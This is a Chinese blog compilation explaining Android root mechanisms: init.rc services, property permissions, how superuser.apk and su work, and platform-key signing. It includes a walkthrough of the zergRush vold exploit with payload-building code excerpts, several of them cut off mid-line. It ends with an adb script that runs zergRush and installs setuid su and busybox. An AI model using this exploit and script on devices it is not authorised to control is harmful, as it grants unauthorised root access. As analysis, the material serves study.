本文将会选择第一种来解决Android应用程序mount NFS文件系统的问题。

Init.rc Service

在Android系统init.rc中定义很多Service，Init.rc中定义的Service将会被Init进程创建，这样将可以获得root权限。

设置系统属性“ctl.start”，把“ctl.start”设置为你要运行的Service，假设为“xxx”，Android系统将会帮你运行“ctl.start”系统属性中指定的Service。那么运行结果init进程会写入命名为“init.svc.+xxx”的系统属性中，应用程序可以参考查阅这个值来确定Service xxx执行的情况。

Android系统属性(property)权限

难道Android属性“ctl.start”不是所有进程都可以设置的，见property_service.c中的源码，设置Android系统属性的函数为handle_property_set_fd(),从源码中可以发现如果设置“ctl.”开头的Android系统属性，将会调用check_control_perms函数来检查调用者的权限，只有root权限和system权限的应用程序才可以修改“ctl.”开头的Android系统属性。否则将会检查control_perms全局变量中的定义权限和Service。**从代码中可以看到，任何不以property_perms[] 中定义的前缀开头的property 是无法被除root以外的用户访问的，包括system用户。**

实例

下面以上面提出的mount nfs文件系统为例说明：

A. 首先定义一个执行mount的脚本，我把它位于/system/etc/mount_nfs.sh，定义如下：

```
1: #！/system/bin/sh
2:
3: /system/bin/busybox mount -o rw,nolock -t nfs 192.168.1.6:/nfs_srv /data/mnt
```

不要忘了把它加上可执行权限。

B. 在init.rc中加入一个Service定义，定义如下：

```
1: service mount_nfs /system/etc/mount_nfs.sh
2:    oneshot
3:    disabled
```

C. 让自己的应用程序获得system权限,方法见前面章节

D.在自己应用程序中设置System系统属性“ctl.start”为“mount_nfs”，这样Android系统将会帮我们运行mount_nfs系统属性了。不能够调用System.getProperty，这个函数只是修改JVM中的系统属性。只能调用android.os.SystemProperties，最终通过JNI调用C/C++层的API property_get和property_set函数。

```
SystemProperties.set("ctl.start","mount_nfs");
```

E.最后在自己应用程序中，读取“init.svc.mount_nfs”Android系统Property，检查执行结果。代码如下：

```
1:while(true)
2: {
3:    mount_rt = SystemProperties.get("init.svc.mount_nfs","");
4:    if(mount_rt != null && mount_rt.equals("stopped"))
5:    {
6:        return true;
```

```
 7:   }
 8:
 9:   try
10:   {
11:       Thread.sleep(1000);
12:   }catch(Exception ex){
13:       Log.e(TAG,"Exception: " + ex.getMessage());
14:   }
15: }
```

init进程维护一个service的队列，所以我们需要轮训来查询service的执行结果。

1. 文件(夹)读写权限

init.rc 中建立test1 test2 test3文件夹

```
mkdir /data/misc/test1 0770 root root
mkdir /data/misc/test2 0770 wifi wifi
mkdir /data/misc/test3 0770 system misc
```

其中

test1 目录的owner是root, group也是root

test2 目录的owner是wifi , group也是wifi

test3 目录的owner是system , group是misc （任何用户都属于group misc）

```
service xxxx /system/bin/xxxx
    user root
    disabled
    oneshot

service yyyy /system/bin/yyyy
    user system
    disabled
    oneshot

service zzzz /system/bin/zzzz
```

user wifi

disabled

oneshot

结果:

xxxx 服务可以访问 test1, test2, test3

yyyy 服务可以访问 test3

zzzz 服务可以访问 test2, test3

见android_filesystem_config.h中定义AID_ROOT AID_SYSTEM AID_MISC等宏定义的权限

360等特殊系统是否可以考虑在AID_ROOT和AID_SYSTEM之间加一个权限和用户,增加新的哦property给360用？

通过上面的这些步骤，Android应用程序就能够调用init.rc中定义的Service了。这样你的Android应用程序也就获得了root权限。前提是Android系统开发人员，否则你无法修改init.rc等文件,而且应用程序必须要获得system权限。

android superuser.apk 管理root权限原理分析

原理是利用了android的两个提权漏洞： CVE-2010-EASY和 ZergRush。 我把大概原理简单说说：
1， CVE-2010-EASY： linux的内核的模块化程度很高，很多功能模块是需要到时候再加载，在 android中由init进程来管理这些的。但是这个init进程不会检测发给它的指令的来源，不管是内核发送的，还是用户发送的，它都执行不误，会顺从的去加载或卸载一些模块，而加载的模块都是以root身份运行的。因此你可以给它准备一个精心制作的功能模块(ko文件)，然后触发相应的加载条件，比如热拔插、开关wifi等等， 该功能模块运行后，会生成 /data/local/tmp/rootshell 一个带s位的shell。
2，ZergRush原理： 具有root权限的vold进程使用了libsysutils.so库，该库有个函数存在栈溢出，因此可以root权限执行输入的shellcode。
3. 还有个前面提到的adb提权漏洞，不够新版本已经修正了。

扯了半天还没扯到superuser.apk，这个程序是root成功后，专门用来管理root权限使用的，防止被恶意程序滥用。
源码地址：
http://superuser.googlecode.com/svn/trunk

带着两个问题我们来分析源码：
1、superuser是怎么知道谁想用root权限？
2、superuser是如何把用户的选择告诉su程序的那？
即superuser和su程序是如何通讯的，他们俩位于不通的时空，一个在java虚拟机中，一个在linux的真实进程中。
共有两个active: SuperuserActivity和 SuperuserRequestActivity。
其中SuperuserActivity主要是用来管理白名单的，就是记住哪个程序已经被允许使用root权限了，省的每次用时都问用户。
SuperuserRequestActivity 就是用来询问用户目前有个程序想使用root权限，是否允许，是否一直允许，即放入白名单。

这个白名单比较关键，是一个sqlite数据库文件，位置：
/data/data/com.koushikdutta.superuser/databases/superuser.sqlite

root的本质就是往 /system/bin/下放一个带s位的，不检查调用者权限的su文件。普通程序可以调用该su来运行root权限的命令。superuser.apk中就自带了一个这样的su程序。一开始superuser会检测/system/bin/su是否存在，是否是自个放进去的su:

```
File su = new File("/system/bin/su");
// 检测su文件是否存在,如果不存在则直接返回
    if (!su.exists())
    {
        Toast toast = Toast.makeText(this, "Unable to find


/system/bin/su.", Toast.LENGTH_LONG);
        toast.show();
        return;
    }


    //检测su文件的完整性，比较大小，太省事了吧
    //如果大小一样，则认为su文件正确，直接返回了事。
   if (su.length() == suStream.available())
   {
     suStream.close();
     return;   }
```

```
  // 如果检测到/system/bin/su 文件存在，但是不对头，则把自带的su先写
到"/data/data/com.koushikdutta.superuser/su"
    //      再写到/system/bin/su。
```

```
byte[] bytes = new byte[suStream.available()];
DataInputStream dis = new DataInputStream(suStream);
dis.readFully(bytes);
FileOutputStream suOutStream = new FileOutputStream("/data/data/com.koushikdutta.superuser/su");
suOutStream.write(bytes);
suOutStream.close();

Process process = Runtime.getRuntime().exec("su");
DataOutputStream os = new DataOutputStream(process.getOutputStream());
os.writeBytes("mount -oremount,rw /dev/block/mtdblock3 /system\n");
os.writeBytes("busybox cp /data/data/com.koushikdutta.superuser/su /system/bin/su\n");
os.writeBytes("busybox chown 0:0 /system/bin/su\n");
os.writeBytes("chmod 4755 /system/bin/su\n");
os.writeBytes("exit\n");
os.flush();
```

上面提到的su肯定是动过手脚的,有进程使用root权限，superuser是怎么知道的，看完su的代码明白了，关键是句：

```
sprintf(sysCmd, "am start -a android.intent.action.MAIN

                                -n
com.koushikdutta.superuser/com.koushikdutta.superuser.SuperuserRequestActivity

                                --ei uid %d --ei pid %d > /dev/null", g_puid, ppid);

if (system(sysCmd))
 return executionFailure("am.");
```

原理是am命令，看了下am的用法，明白了：
在Android中，除了从界面上启动程序之外，还可以从命令行启动程序，使用的是命令行工具am.启动的方法为

$ adb shell
$ su
# am start -n ｛包(package)名｝/｛包名｝.{活动(activity)名称}

程序的入口类可以从每个应用的AndroidManifest.xml的文件中得到，以计算器（calculator）为例，它的

<manifest xmlns:android="http://schemas.android.com/apk/res/android" …

package="com.android.calculator2" …>…

由此计算器（calculator）的启动方法为：

am start -n com.android.calculator2/com.android.calculator2.Calculator

一般情况希望，一个Android应用对应一个工程。值得注意的是，有一些工程具有多个活动（activity），而有一些应用使用一个工程。例如：在Android界面中，Music和Video是两个应用，但是它们使用的都是packages/apps/Music这一个工程。而在这个工程的AndroidManifest.xml文件中，有包含了不同的活动（activity）。

Music 和 Video（音乐和视频）的启动方法为：

am start -n com.android.music/com.android.music.MusicBrowserActivity

am start -n com.android.music/com.android.music.VideoBrowserActivity

am start -n com.android.music/com.android.music.MediaPlaybackActivity

启动浏览器：

am start -a android.intent.action.VIEW -d http://www.google.cn/

拨打电话：

am start -a android.intent.action.CALL -d tel:10086

启动 google map直接定位到北京：

am start -a android.intent.action.VIEW geo:0,0?q=beijing

```
usage: am [subcommand] [options]

   start an Activity: am start [-D] [-W] <INTENT>
      -D: enable debugging
      -W: wait for launch to complete

   start a Service: am startservice <INTENT>

   send a broadcast Intent: am broadcast <INTENT>

   start an Instrumentation: am instrument [flags] <COMPONENT>
      -r: print raw results (otherwise decode REPORT_KEY_STREAMRESULT)
      -e <NAME> <VALUE>: set argument <NAME> to <VALUE>
      -p <FILE>: write profiling data to <FILE>
      -w: wait for instrumentation to finish before returning

   start profiling: am profile <PROCESS> start <FILE>
   stop profiling: am profile <PROCESS> stop

   <INTENT> specifications include these flags:
      [-a <ACTION>] [-d <DATA_URI>] [-t <MIME_TYPE>]
      [-c <CATEGORY> [-c <CATEGORY>] ...]
      [-e|--es <EXTRA_KEY> <EXTRA_STRING_VALUE> ...]
      [--esn <EXTRA_KEY> ...]
      [--ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> ...]
      [-e|--ei <EXTRA_KEY> <EXTRA_INT_VALUE> ...]
      [-n <COMPONENT>] [-f <FLAGS>]
      [--grant-read-uri-permission] [--grant-write-uri-permission]
      [--debug-log-resolution]
      [--activity-brought-to-front] [--activity-clear-top]
      [--activity-clear-when-task-reset] [--activity-exclude-from-recents]
      [--activity-launched-from-history] [--activity-multiple-task]
      [--activity-no-animation] [--activity-no-history]
      [--activity-no-user-action] [--activity-previous-is-top]
      [--activity-reorder-to-front] [--activity-reset-task-if-needed]
      [--activity-single-top]
      [--receiver-registered-only] [--receiver-replace-pending]
      [<URI>]
```

还有个疑点，就是su怎么知道用户是允许root权限还是反对那？原来是上面提到的白名单起来作用，superuser把用户的选择放入：/data/data/com.koushikdutta.superuser/databases/superuser.sqlite 数据库中，然后su进程再去读该数据库来判断是否允许。

```
static int checkWhitelist()
{
 sqlite3 *db;
 int rc = sqlite3_open_v2(DBPATH, &db, SQLITE_OPEN_READWRITE, NULL);
 if (!rc)
 {
  char *errorMessage;
  char query[1024];
  sprintf(query, "select * from whitelist where _id=%d limit 1;", g_puid);
  struct whitelistCallInfo callInfo;
  callInfo.count = 0;
  callInfo.db = db;
  rc = sqlite3_exec(db, query, whitelistCallback, &callInfo, &errorMessage);
  if (rc != SQLITE_OK)
  {
   sqlite3_close(db);
   return 0;
  }
  sqlite3_close(db);
  return callInfo.count;
 }
 sqlite3_close(db);
 return 0;
}
```

获取一键root原理

转自:http://blog.csdn.net/liujian885/archive/2010/03/22/5404834.aspx

在 android的API中有提供 SystemClock.setCurrentTimeMillis()函数来修改系统时间，可惜无论你怎么调用这个函数都是没用的，无论模拟器还是真机，在logcat中总会得到"Unable to open alarm driver: Permission denied ".这个函数需要root权限或者运行与系统进程中才可以用。本来以为就没有办法在应用程序这一层改系统时间了，后来在网上搜了好久，知道这个目的还是可以达到的。

第一个方法简单点，不过需要在Android系统源码的环境下用make来编译：

1. 在应用程序的AndroidManifest.xml中的manifest节点中加入android:sharedUserId="android.uid.system"这个属性。

2. 修改Android.mk文件，加入LOCAL_CERTIFICATE := platform这一行

3. 使用mm命令来编译，生成的apk就有修改系统时间的权限了。

第二个方法麻烦点，不过不用开虚拟机跑到源码环境下用make来编译：

1. 同上，加入android:sharedUserId="android.uid.system"这个属性。

2. 使用eclipse编译出apk文件，但是这个apk文件是不能用的。

3. 使用目标系统的platform密钥来重新给apk文件签名。这步比较麻烦，首先找到密钥文件，在我的Android源码目录中的位置是"build\target\product\security"，下面的platform.pk8和platform.x509.pem两个文件。然后用Android提供的Signapk工具来签名，signapk的源代码是在"build\tools\signapk"下，用法为"signapk platform.x509.pem platform.pk8 input.apk output.apk"，文件名最好使用绝对路径防止找不到，也可以修改源代码直接使用。

这样最后得到的apk和第一个方法是一样的。

最后解释一下原理，首先加入android:sharedUserId="android.uid.system"这个属性。通过Shared User id,拥有同一个User id的多个APK可以配置成运行在同一个进程中。那么把程序的UID配成android.uid.system，也就是要让程序运行在系统进程中，这样就有权限来修改系统时间了。

只是加入UID还不够，如果这时候安装APK的话发现无法安装，提示签名不符，原因是程序想要运行在系统进程中还要有目标系统的platform key，就是上面第二个方法提到的platform.pk8和platform.x509.pem两个文件。用这两个key签名后apk才真正可以放入系统进程中。第一个方法中加入LOCAL_CERTIFICATE := platform其实就是用这两个key来签名。

这也有一个问题，就是这样生成的程序只有在原始的Android系统或者是自己编译的系统中才可以用，因为这样的系统才可以拿到platform.pk8和platform.x509.pem两个文件。要是别家公司做的Android上连安装都安装不了。试试原始的Android中的key来签名，程序在模拟器上运行OK，不过放到G3上安装直接提示"Package ... has no signatures that match those in shared user android.uid.system"，这样也是保护了系统的安全。

最最后还说下，这个android:sharedUserId属性不只可以把apk放到系统进程中，也可以配置多个APK运行在一个进程中，这样可以共享数据，应该会很有用的。

signapk编译结束后在 android目录下/out/host/linux-x86/framework/signapk.jar
使用方法：java -jar signapk.jar platform.x509.pem platform.pk8 test.apk test_signed.apk文件。

漏洞— zergRush

提权实现的代码，见：

https://github.com/revolutionary/zergRush/blob/master/zergRush.c

需要了解一下是哪个地方有问题，边分析边记录此次过程。

文件不大，当然从 main 入手了，

```
if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
    do_root();
```

明显，当有了 Root 能力后去做一个可以保持 Root 的动作，猜测，此程序会被调用多次，并且再次调用的时候程序名称为 boomsh

看一下 do_root 吧

写了一个属性 ro.kernel.qemu 为 1

明显是让手机当成模拟器运行，见 \android2.32\system\core\adb\adb.c 中的代码

```
1.  /* run adbd in secure mode if ro.secure is set and
2.  ** we are not in the emulator
3.  */
4.  property_get("ro.kernel.qemu", value, "");
5.  if (strcmp(value, "1") != 0) {
6.      property_get("ro.secure", value, "");
7.      if (strcmp(value, "1") == 0) {
8.          // don't run as root if ro.secure is set...
9.          secure = 1;
10.
11.         // ... except we allow running as root in userdebug builds if the
12.         // service.adb.root property has been set by the "adb root" command
13.         property_get("ro.debuggable", value, "");
14.         if (strcmp(value, "1") == 0) {
15.             property_get("service.adb.root", value, "");
16.             if (strcmp(value, "1") == 0) {
17.                 secure = 0;
18.             }
19.         }
20.     }
21. }
```

以后调用 adb 默认是 Root 用户了。

下面又做了一件事把自己拷贝到 /data/local/tmp/boomsh

把 SH 拷贝到 /data/local/tmp/sh

改变 /data/local/tmp/boomsh 的权限为 711 ，可执行了

然后获取 /system/bin/vold 程序的大小，

通过 heap_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; 这样的一个计算，得到该程序的堆地址， 有点意思了，对 vold 程序有了歪脑筋了

用过在手机上用 ps 看一下，这个程序有是从 root 用户执行过来的。

然后获取了一下手机的版本号，只对 2.2 2.3 二个版本进行处理，并修正了一上 heap_addr 的地址。

然后又找了一下 system 系统调用函数的地址，放到 system_ptr 中

继续看 checkcrash()

>> 清除了一下 logcat 日志

>> 删除 /data/local/tmp/crashlog 文件

>> 简立一个子进程，去生成一下 crashlog 文件。

>> 调用 do_fault

>> 打开 crashlog 文件

>> 在 crashlog 中找到崩溃信息，找到 sp 寄存器地址。

等等，为什么崩溃呢，肯定是在 do_fault 中制造的，我们要看看这块了

这个函数比较乱，找找重点看

if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)

不错的信息，连接 vold ，又是它，以前听说过它有漏洞，这次还是它。

write(sock, buf, n+1)

写了一些信息，不知道什么信息，但是可以肯定的是，能让 vold 崩溃的信息。

下面回到 main 继续！

一个 For 循环处理。

find_stack_addr 用了上面的相同方法，从崩溃信息中找到程序的栈地址，（至于怎么计算的，以后再去研究了）

一些容错检查，略过！

kill(logcat_pid, SIGKILL);
unlink(crashlog);

find_rop_gadgets()

又一个陌生函数。看了，暂时看不出用途，貌似找点什么，继续！

下面就是再次调用 do_fault ,生成崩溃。

再次判断 sh 是否有没有 s 位， 如果有了，刚 ROOT 功了。

疑问来了，没发现怎么再次调用 boomsh 运行执行 do_root 啊。 顺着它拷贝出来的 sh 文件找找，搜索 bsh 变理的使用情况，发现如下地方：

```
1.  static int do_fault()
2.  {
3.      char buf[255];
4.      int sock = -1, n = 0, i;
5.
    char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5
6.      uint32_t bsh_addr;
7.      char padding[128];
8.      int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);
9.
10.     memset(padding, 0, 128);
11.     strcpy(padding, "LORDZZZZzzzz");
12.     if(padding_sz > 0) {
13.         memset(padding+12, 'Z', padding_sz);
14.         printf("[*] Poping %d more zerglings\n", padding_sz);
15.     }
16.     else if(padding_sz < 0) {
17.         memset(padding, 0, 128);
18.         memset(padding, 'Z', 12+padding_sz);
```

```
19.     }
20.
21.     if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) <
22.         die("[-] Error creating Nydus");
23.
24.     sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack
25.     sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff
26.     sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&(
27.     sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_p
28.     sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_
29.
30.     strcpy(buf, "ZERG");
31.     strcat(buf, " ZZ ");
32.     strcat(buf, s_stack_pivot_addr);
33.     for(i=3; i < buffsz+1; i++)
34.         strcat(buf, " ZZZZ");
35.     strcat(buf, " ");
36.     strcat(buf, s_heap_addr);
37.
38.     n = strlen(buf);
39.     bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;
40.
41.     if(check_addr(bsh_addr) == -1) {
42.         printf("[-] Colossus, we're doomed!\n");
43.         exit(-1);
```

```
44.     }
45.
46.
    sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>
47.
48.     <strong><span style="color:#ffffff;BACKGROUND-
COLOR: #ff0000">n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, p
</span></strong>
49.
50.     printf("[*] Sending %d zerglings ...\n", n);
51.
52.     if ((n = write(sock, buf, n+1)) < 0)
53.         die("[-] Nydus seems broken");
54.
55.     sleep(3);
56.     close(sock);
57.
58.     return n;
59. }
```

看到上面加色的行了，原来他是用 socket 写的一个 shell code ， 调用了他拷贝的 sh 程序。

在 vold 中执行 sh 肯定是 root 啊。

至此，原理很是清楚了， shell code 嘛，运行的时候把他 dump 出来用别的工具看吧！

一键ROOT脚本

1.等待设备连接

```
adb wait-for-device
```

2.删除文件

```
adb shell "cd /data/local/tmp/; rm *"
```

3.上传zergRush并修改属性去执行

```
adb push c:\zergRush /data/local/tmp/
adb shell "chmod 777 /data/local/tmp/zergRush"
```

```
adb shell "/data/local/tmp/zergRush"

adb wait-for-device
```

4.上传busybox、给busybox文件执行权限，以可以方式加载文件系统

```
adb push c:\busybox /data/local/tmp/

adb shell "chmod 755 /data/local/tmp/busybox"

adb shell "/data/local/tmp/busybox mount -o remount,rw /system"
```

5.复制busybox，修改所在的组及设置s位

```
adb shell "dd if=/data/local/tmp/busybox of=/system/xbin/busybox"

adb shell "chown root.shell /system/xbin/busybox"

adb shell "chmod 04755 /system/xbin/busybox"
```

6.安装busybox并删除临时文件

```
adb shell "/system/xbin/busybox --install -s /system/xbin"

adb shell "rm -rf /data/local/tmp/busybox"
```

7.对su进行类似busybox的处理

```
adb push c:\fu /system/bin/su

adb shell "chown root.shell /system/bin/su"

adb shell "chmod 06755 /system/bin/su"

adb shell "rm /system/xbin/su"

adb shell "ln -s /system/bin/su /system/xbin/su"
```

8.安装其它工具

```
adb push c:\superuser.apk /system/app/

adb shell "cd /data/local/tmp/; rm *"

adb reboot

adb wait-for-device

adb install c:\recovery.apk
```

原文转自：http://blog.csdn.net/superkris/article/details/7709504